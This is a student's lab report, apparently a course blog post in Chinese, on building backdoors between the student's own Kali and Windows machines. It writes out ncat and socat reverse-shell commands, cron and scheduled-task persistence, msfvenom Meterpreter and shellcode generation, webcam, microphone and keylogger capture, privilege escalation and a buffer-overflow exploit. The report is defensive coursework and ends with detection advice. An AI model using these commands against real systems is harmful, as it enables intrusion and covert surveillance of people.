20242311 2026-2027-1《网络与系统攻防技术》实验二实验报告

20242322 2026-2027-1 《网络与系统攻防技术》实验二实验报告

实验名称:后门原理与实践

  1. 基础知识

后门(Backdoor)说白了就是一条绕过正常登录、能让你长期反复进入某台主机的隐蔽通道。它和我常听说的"木马"其实是一回事:木马像"人",后门像"人进来的那扇暗门"。这次实验做的所有事情,本质上就是在我自己的两台机器之间,用不同的工具和方法,反复实现"从 A 机拿到 B 机的 Shell"。

1.1 Shell 与反弹 Shell

Shell 就是命令解释器,也就是那个能打字指挥电脑的"黑框框":Linux 里是 bash,Windows 里是 cmd.exe。拿到一台机器的 Shell,就相当于能在它里面敲命令了。

后门连接分两种方向:

  • 正向连接(Bind Shell):目标机开监听,攻击机主动连过去。缺点是目标机如果在防火墙或 NAT 后面,攻击机经常连不上。

  • 反弹连接(Reverse Shell):反过来,目标机主动连回攻击机,攻击机只需要监听。因为防火墙一般放行"出站"、拦"入站",所以反弹连接更常用、也更隐蔽。本次实验用的都是反弹连接。

1.2 netcat / ncat 与 socat

netcat 号称"网络瑞士军刀",能建立连接、监听端口、传数据。配合 -e 参数可以把一个 Shell 直接绑到连接上,这就是反弹 Shell 的核心。socat 是 netcat 的加强版,能接更多类型的通道。本次实验 Windows 和 Kali 用的都是 ncat(Nmap 出的完整版 netcat,支持 -e)。

1.3 cron 与 Windows 任务计划

cron 是 Linux 下周期性执行任务的守护进程,用 crontab -e 编辑,一行一个任务,格式是"分 时 日 月 周 命令"。Windows 对应的是"任务计划程序"(schtasks)。后门想"重启后还在、断了还能自己回来",最朴素的办法就是挂一个计划任务,让它定时自动跑。

1.4 Metasploit、msfvenom 与 Meterpreter

Metasploit(MSF)是一个渗透测试框架,msfvenom 用来生成 payload(比如生成一个 Windows 的可执行后门,或者一段 shellcode)。Meterpreter 是 MSF 里一种高级的后渗透载荷,拿到会话后能录音、拍照、记键盘、提权等。shellcode 是一段纯机器码的载荷,可以塞进另一个程序的漏洞里去执行(任务五注入 pwn1 用的就是它)。

1.5 免杀

杀毒软件靠"特征库"来认恶意程序。免杀就是给程序"化妆",让它不像已知的恶意样本,从而骗过杀软。但这是动态对抗,杀软也在不断升级。本次实验只做"认识现象"——比如 Windows Defender 会拦截生成的 Meterpreter 后门,我记录这个现象,但不做免杀绕过。

  1. 实验内容

本次实验围绕"后门"这一主题共 5 个任务:

  1. 使用 netcat 获取 Linux 靶机操作 Shell,并用 cron 启动自定义任务;

  2. 使用 socat 获取 Windows 靶机操作 Shell,并用任务计划启动;

  3. 使用 MSF meterpreter 生成可执行后门,用 ncat 传送到主机运行并获取 Shell;

  4. 用 meterpreter 后门获取目标主机音频、摄像头、击键记录等内容,并尝试提权;

  5. 用 MSF 生成 shellcode,注入到实验一的 pwn1 中,获取反弹连接 Shell。

实验环境如下:

角色 系统 主机名 IP
攻击机 Kali Linux 虚拟机 guozhiwen 192.168.5.128
靶机 Windows 宿主机 HUAWEI(宿主机) 192.168.5.1(VMnet8)

工具:ncat(Windows 7.95 / Kali 7.99),后续还会用到 socat、msfvenom、msfconsole。

  1. 实验过程

3.1 实验准备:环境搭建与网络互通验证

先用 ipconfig 确认 Windows 的 VMware VMnet8 网卡 IP 为 192.168.5.1

两台机器在同一网段(192.168.5.0/24)。两边互相 ping 都能通(图3、图4),说明网络就绪。

再用 ip a 确认 Kali 的 eth0 为 192.168.5.128。

image

两台机器在同一网段(192.168.5.0/24)。两边互相 ping 都能通,说明网络就绪。

image

image

3.2 任务一:使用 netcat 获取 Linux 靶机 Shell

思路:Windows 做监听方,Kali 做反弹方主动连回来,把 Kali 的 bash 交给 Windows 操作。

  1. 确认 ncat 工具。 Kali 用 which ncat 查到 /usr/bin/ncat;

image

  1. Windows 侧的 ncat.exe(版本 7.95,位于 C:\tools\20242322\)在开启监听时会同时显示版本号。

  2. Windows 开启监听。 管理员命令提示符里执行 ncat -lvp 4444,显示 Ncat: Listening on 0.0.0.0:4444,说明监听成功。

image
image

  1. Kali 反弹连接。 Kali 终端执行 ncat 192.168.5.1 4444 -e /bin/bash,把 Kali 的 bash 绑定到这条连接上。

image

  1. 验证拿到 Shell。 回到 Windows 监听窗口,出现 Ncat: Connection from 192.168.5.128。依次执行 whoami(返回 kali)、hostname(返回 guozhiwen)、ip addr(能看到 eth0=192.168.5.128),确认成功拿到了 Kali 的操作 Shell。

image

3.3 任务一(下):使用 cron 启动自定义任务

为了让后门"断了还能自己回来",我在 Kali 上写一个反弹脚本,再用 cron 每分钟执行一次。

  1. 编写反弹脚本。 在 Kali 上创建 /home/kali/Desktop/20242322_nc_backdoor.sh,内容为:

    image

#!/bin/bashncat 192.168.5.1 4444 -e /bin/bash

并添加执行权限:chmod +x /home/kali/Desktop/20242322_nc_backdoor.sh。

image

  1. 添加 cron 任务。 执行 crontab -e,在末尾添加一行,让脚本每分钟运行一次:
* * * * * /bin/bash /home/kali/Desktop/20242322_nc_backdoor.sh
  1. 查看任务。 用 crontab -l 确认任务已写入。

    image

  2. 验证 cron 生效。 回到 Windows 重新执行 ncat -lvp 4444 监听,没有手动敲任何命令,等待不超过 1 分钟,Windows 窗口就自动出现了 Ncat: Connection from 192.168.5.128,说明 cron 定时任务成功让 Kali 每分钟自动反弹连了回来。再敲 whoami 确认仍是 Kali 的 Shell。

image

  1. 3.4 使用 socat 获取 Windows 靶机 Shell

    这次角色反过来:Kali 当攻击机监听,Windows 当靶机,把 Windows 的 cmd 反弹交给 Kali。

    1. Kali 开启监听。 Kali 执行 ncat -lvnp 53025,显示 Listening on 0.0.0.0:53025。

    image

    1. Windows 靶机执行 socat 反连。 Windows 命令提示符(C:\tools\20242322)执行 socat.exe TCP:192.168.5.128:53025 EXEC:cmd.exe,pipes,把 Windows 的 cmd.exe 绑定到 TCP 连接上。

      image

    2. 验证拿到 Windows Shell。 回到 Kali 监听窗口,出现 Connection from 192.168.5.1。依次执行 whoami(返回 laptop-2mv0pmo1\huawei)、hostname(返回 LAPTOP-2MV0PM01)、ipconfig,确认成功拿到 Windows 的操作 Shell。

    image

    3.5 使用 Windows 任务计划启动 socat

    上面用 socat 拿到的是手动执行的一次性 Shell。为了让后门"任务计划启动后能自动反弹",我在 Windows 上创建了一个一次性任务计划,任务内容就是运行 socat.exe 反连 Kali。

    1. 创建任务计划。 Windows 管理员命令提示符执行(任务名带学号):
    schtasks /Create /TN "20242322_socat" /SC ONCE /ST 23:59 /TR "C:\tools\20242322\socat.exe TCP:192.168.5.128:53026 EXEC:cmd.exe,pipes" /F
    

    提示"成功: 成功创建计划任务"。

    image

  2. 查看任务。 schtasks /Query /TN "20242322_socat" /V /FO LIST,确认任务名、要执行的命令为 socat.exe TCP:192.168.5.128:53026 EXEC:cmd.exe,pipes。

image

  1. Kali 监听 53026。 Kali 执行 ncat -lvnp 53026。

  2. 手动触发任务。 Windows 执行 schtasks /Run /TN "20242322_socat",Kali 的 53026 窗口自动出现 Connection from 192.168.5.1:55415,进入后执行 whoami 返回 laptop-2mv0pmo1\huawei,说明任务计划成功让 socat 自动反弹了 Windows Shell。

    ![### 3.6 使用 MSF 生成 Windows Meterpreter 可执行后门

    在 Kali 攻击机上使用 msfvenom 生成 Windows x64 的 Meterpreter 反向连接后门:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.128 LPORT=54025 -f exe -o /home/kali/Desktop/20242322_meterpreter.exe
    

    生成成功。我把文件名统一成带下划线的 20242322_meterpreter.exe,file 确认它是 PE32+ executable for MS Windows (GUI), x86-64。LHOST 填的是 Kali 的 IP,因为后门运行后会主动反弹连回 Kali。

    使用 msfvenom 生成 Windows Meterpreter 后门 图18

    文件改名并确认是 Windows 可执行程序 图19

    然后在 Kali 启动 Metasploit 配置 handler 监听:

    use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST 192.168.5.128set LPORT 54025run
    

    run 后显示 Started reverse TCP handler on 192.168.5.128:54025,等待后门上线。

    Metasploit handler 配置并监听 54025 端口 图20

    3.7 使用 ncat 传输后门文件

    在 Windows 上用 ncat 开启接收,Kali 把后门文件发送过去:

    # Windows:接收并保存ncat -lvp 5555 > C:\tools\20242322\20242322_meterpreter.exe# Kali:发送ncat 192.168.5.1 5555 < /home/kali/Desktop/20242322_meterpreter.exe
    

    传输完成后 dir 确认文件已到达(7680 字节)。本环境中安全软件没有拦截这个文件,传输顺利。

    Windows 用 ncat 开启接收 图21

    Kali 用 ncat 发送后门文件 图22

    传输完成并 dir 确认文件已到达 图23

    3.8 运行后门并获取 Meterpreter 会话

    在 Windows 上运行 20242322_meterpreter.exe,程序没有界面,在后台悄悄反弹连接。Kali 的 msf handler 随即出现:

    [*] Sending stage (248902 bytes) to 192.168.5.1[*] Meterpreter session 1 opened (192.168.5.128:54025 -> 192.168.5.1:14590)
    

    进入 meterpreter > 会话)。依次执行 getuid(返回 LAPTOP-2MV0PM01\HUAWEI)、sysinfo(Windows 11 24H2、x64),再 shell 进入 Windows 命令行,whoami/hostname 确认为 LAPTOP-2MV0PM01.

    Windows 运行后门程序 图24

    Meterpreter 会话建立 图25

    getuid/sysinfo/shell 验证目标主机 图26

3.9 Meterpreter 功能验证:摄像头、音频与击键记录

在 meterpreter > 会话中依次验证后门的几种常见后渗透功能。

  1. 摄像头。 webcam_list 检测到 1: HD Camera;webcam_snap 成功拍照,图片保存到 /home/kali/Desktop/QWrELguB.jpeg。

  2. 录音。 record_mic -d 5 录制 5 秒音频,保存到 /home/kali/Desktop/UOWhdHwW.wav。

  3. 击键记录。 keyscan_start 开始记录,在目标 Windows 上手动输入 20242322 hello 后,keyscan_dump 成功捕获到这些按键,最后 keyscan_stop 停止。

webcam_list 列出摄像头 图27

webcam_snap 拍照 图28

record_mic 录音 图29

图30

3.10 Meterpreter 提权尝试

在会话中尝试提升权限:

getuid        # 提权前:LAPTOP-2MV0PM01\HUAWEIgetsystem     # 尝试提权getuid        # 提权后:NT AUTHORITY\SYSTEM

getsystem 通过 Named Pipe Impersonation (In Memory/Admin) 技术成功提权,用户从 LAPTOP-2MV0PM01\HUAWEI 提升为 NT AUTHORITY\SYSTEM。这是因为本次会话是以管理员权限运行后门程序建立的,配合命名管道模拟可以拿到系统最高权限。

getsystem 提权成功(普通用户 → SYSTEM) 图31

3.11 使用 MSF 生成 shellcode 注入 pwn1,获取反弹连接 Shell

  1. 确认漏洞点并关闭 ASLR。 反汇编 pwn1 的 foo:缓冲区在 ebp-0x1c,也就是 28 字节,从缓冲区起点到返回地址的偏移是 32 字节。再把 /proc/sys/kernel/randomize_va_space 写成 0,临时关掉地址随机化。

    image

  2. 生成反弹 shellcode。 用 msfvenom 生成 Linux 32 位的反弹 TCP shellcode,LHOST 填 Kali 自己的 IP,端口 4448;用 -b 剔除 \x00\x0a\x0d(空字节、换行、回车),因为 gets 读到换行就停,这些字节会让 shellcode 被截断。生成后用 wc -c 确认是 95 字节。

    image

    image

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.128 LPORT=4448 -f raw -b "\x00\x0a\x0d" -o shellcode.bin
  1. 用 gdb 查缓冲区起始地址。 在 gdb 里对 foo 下断点、run 停住后,执行 p/x $ebp-0x1c,拿到缓冲区起始地址。返回地址就指向 "缓冲区再往上的 NOP 滑道" 处。

    image

  2. 写攻击脚本 exploit.py。 构造 Payload:先放 32 个 A(28 字节填满缓冲区 + 4 字节盖住 saved ebp),第 32~35 字节覆盖返回地址(让它跳进 NOP 滑道),后面是一大段 0x90(NOP 滑道,即使地址有小偏差也能滑到 shellcode),最后接真正的 shellcode。

    image

  3. 开监听并触发。 开一个终端 ncat -lvp 4448 监听,另一个终端用 python3 exploit.py | ./pwn1 把 Payload 灌给 pwn1(注意是管道)。

  4. 验证反弹 Shell。 pwn1 被溢出后,监听窗口出现 Ncat: Connection from 192.168.5.128。依次执行 whoami(返回 root)、id(uid=0(root))、hostname(返回 guozhiwen)、ip a(能看到 eth0 网卡),确认成功拿到了反弹连接 Shell。

  5. image

问题及解决方案

问题 1:虚拟机与主机之间 ping 不通

一开始 Kali(192.168.5.128)和 Windows 的 VMnet8 网卡(192.168.5.1)互相 ping 不通,提示 Destination Host Unreachable。Kali 能正常上外网(ping 8.8.8.8 通),但就是够不到主机这一端,说明问题出在"主机↔虚拟机"这一段。

解决过程: 我依次排查了 Windows 防火墙、安全软件、VMware 的 NAT/DHCP 服务、VMnet8 网卡的禁用/启用和驱动重装,都没有解决。最后在 VMware 的"虚拟网络编辑器"里执行了还原默认设置,把虚拟网络重建了一遍,并确认 Windows 防火墙完全关闭后,两边就互相 ping 通了。这个经历让我明白,遇到"配置看着都对但就是不通"的网络问题,重建虚拟网络是一个很有效的办法。

问题 2:一开始把监听方向弄反了

一开始我在 Kali 上执行了 ncat -lvp 4444(想让 Kali 当监听方)。但任务①要拿到的是 Linux 靶机(Kali)的 Shell,并用 cron 持久化,而 cron 是 Linux 的机制。所以正确做法是 Windows 监听、Kali 反弹连过去。确认这一点后,我把监听改到 Windows 上重做一遍就成功了。

问题 3:任务计划触发后,一开始在监听窗口没看到连接

用 schtasks /Run 触发任务后,Kali 的 53026 监听窗口一直没显示 Connection from,我以为任务没成功。后来在 Windows 上用 netstat -ano | findstr 192.168.5.128 查看,发现到 192.168.5.128:53026 的连接其实已经是 ESTABLISHED 状态(PID 38808),说明任务计划的 socat 已经连上了,只是当时没在正确的监听窗口看到。切换到 Kali 的那个终端窗口后,就看到了 Windows 的 Shell。

问题 4:exploit.py 反复报语法错误(字符串没闭合)

用命令生成脚本时,引号、括号这些符号老是丢,导致脚本一执行就报 SyntaxError: unterminated string literal。后来改成在 nano 里手动逐行输入、并用 cat 逐行核对符号齐全,脚本才通过。这也提醒我:脚本跑不通,先检查是不是文件本身被写坏了,别急着怀疑攻击思路。

问题 5:ASLR 开着时栈地址每次都会变

任务五要把一个固定的栈地址写进 Payload,如果 ASLR 没关,程序每次运行栈地址都不一样,返回地址就不可靠。把 randomize_va_space 写成 0、并在 Payload 里加长 NOP 滑道,既固定了地址、又容忍了细微偏差。

  1. 学习感悟、思考

    这次实验最直观的体会是"后门其实不神秘"。它不是什么高深魔法,就是拿一条网络连接把目标机器的 Shell 接过来,再用 cron、任务计划这些系统本来就在用的机制让它"断了还能自己回来"。真正花时间的反而是环境本身——一开始 Kali 和宿主机 ping 不通,我试了防火墙、安全软件、VMware 的网络服务,最后在虚拟网络编辑器里"还原默认设置"才通,说明很多"看起来配置都对但就是不通"的问题,重建网络比逐项排查更省事。

    做任务五的时候,我第一次直观看到"代码是怎么被劫持的":只用 32 个 A 加一个返回地址,程序 return 时就直接跳去执行我塞进去的 shellcode,还能拿回 root。之前只在课本上见过"缓冲区溢出",这次亲手复现,印象深很多。中间也踩了不少小坑,比如脚本被写坏一直报语法错误、ASLR 不关栈地址每次都不一样,这些都让我意识到攻防实验的细节比想象中多。

  2. 实验问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

一种很常见的方式是伪装成正常软件、破解工具、游戏插件或邮件附件。用户下载并运行后,程序表面没有异常,背后却悄悄建立反弹连接、写入启动项或下载第二阶段载荷。也就是说,后门进入系统不一定依赖多复杂的漏洞,很多时候是利用了用户的信任和主动执行。

(2)例举你知道的后门如何启动起来(Windows 和 Linux 分别有哪些方式)?

Windows 常见的启动方式有:任务计划程序、注册表 Run/RunOnce 启动项、启动文件夹、系统服务、WMI 事件订阅、DLL 劫持等。Linux 常见的有:cron 定时任务、systemd 服务、/etc/rc.local、/.bashrc//.profile、SSH authorized_keys 等。本次实验任务一用的是 Linux 的 cron,后续任务二会用 Windows 的任务计划。

(3)Meterpreter 有哪些给你印象深刻的功能?

本次实验中我用 Meterpreter 实际验证了 webcam_list/webcam_snap 调用摄像头拍照、record_mic 远程录音、keyscan_start/keyscan_dump 记录击键、getsystem 提权、sysinfo/getuid 查看系统信息。其中 getsystem 通过 Named Pipe Impersonation 把普通用户 LAPTOP-2MV0PM01\HUAWEI 提升到了 NT AUTHORITY\SYSTEM。最直观的感受是:一旦后门程序运行,目标机器的摄像头、麦克风、键盘输入和系统权限都可能被远程接管,隐私威胁非常大。

(4)如何发现自己系统有没有被安装后门?

可以从几个方面排查:用 netstat/ss 查看是否有异常监听的端口或异常外连;用任务管理器/ps aux 查看可疑进程;检查 Windows 的任务计划、注册表、服务,或 Linux 的 cron、systemd;检查用户目录、临时目录里有没有可疑可执行文件;同时结合杀毒软件、EDR 告警和系统日志。最重要的是先建立"正常状态"的基线,否则很多异常不容易一眼看出来。

参考资料

  1. Nmap ncat 官方文档:https://nmap.org/book/ncat.html
  2. socat 手册页:https://linux.die.net/man/1/socat
  3. Metasploit Framework 官方文档(msfvenom、Meterpreter 使用说明):https://docs.metasploit.com/
  4. GDB 调试器官方手册:https://sourceware.org/gdb/current/onlinedocs/
  5. PentestMonkey 反弹 Shell 速查表:https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
posted @ 2026-10-17 22:39  五分之七  阅读(2)  评论(0)    收藏  举报